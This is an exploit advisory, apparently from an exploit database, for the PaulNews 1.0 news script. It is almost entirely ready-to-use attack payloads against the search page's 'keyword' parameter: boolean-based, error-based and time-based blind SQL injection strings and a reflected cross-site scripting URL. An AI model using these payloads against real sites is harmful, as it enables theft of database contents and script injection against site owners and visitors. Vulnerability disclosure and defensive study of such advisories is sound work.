PaulNews 1.0 - keyword SQL Injection / Cross-Site Scripting Vulnerabilities

# Exploit Title: PaulNews 1.0 - 'keyword' SQL Injection / Cross-Site Scripting
# Exploit Author: Özkan Mustafa Akkuş (AkkuS)
# Vendor: MediaSoft Pro
# Vendor Homepage: https://codecanyon.net/item/paulnews-newspaper-and-magazine-script/19260686
# Version: v1.0
# Category: Webapps
# Tested on: Kali linux
# Description : The vulnerability allows an attacker to inject sql commands
from the search section with 'keyword' parameter. You can use the GET or
POST methods.
====================================================
 
# PoC : SQLi :
 
http://test.com/news/search?keyword=[SQL]
 
# Vulnerable Payload :
 
Parameter: query (GET)
      Type : boolean-based blind
      Demo : http://test.com/news/search?keyword=test
    Payload: keyword=-3431') OR 6871=6871#
 
      Type : error-based
      Demo : http://test.com/news/search?keyword=test
    Payload: keyword=test') OR (SELECT 8996 FROM(SELECT
COUNT(*),CONCAT(0x71626b6271,(SELECT
(ELT(8996=8996,1))),0x71766b7671,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- IsdG
 
      Type : AND/OR time-based blind
      Demo : http://test.com/news/search?keyword=test
    Payload: keyword=test') OR SLEEP(5)-- OEdN
 
 
====================================================
 
# PoC : XSS :
 
    Payload :
http://test.com/news/search?keyword=%27%20%3C/script%3E%3Cscript%3Ealert%281%29%3C/script%3E%E2%80%98
;

#  0day.today [2018-05-24]  #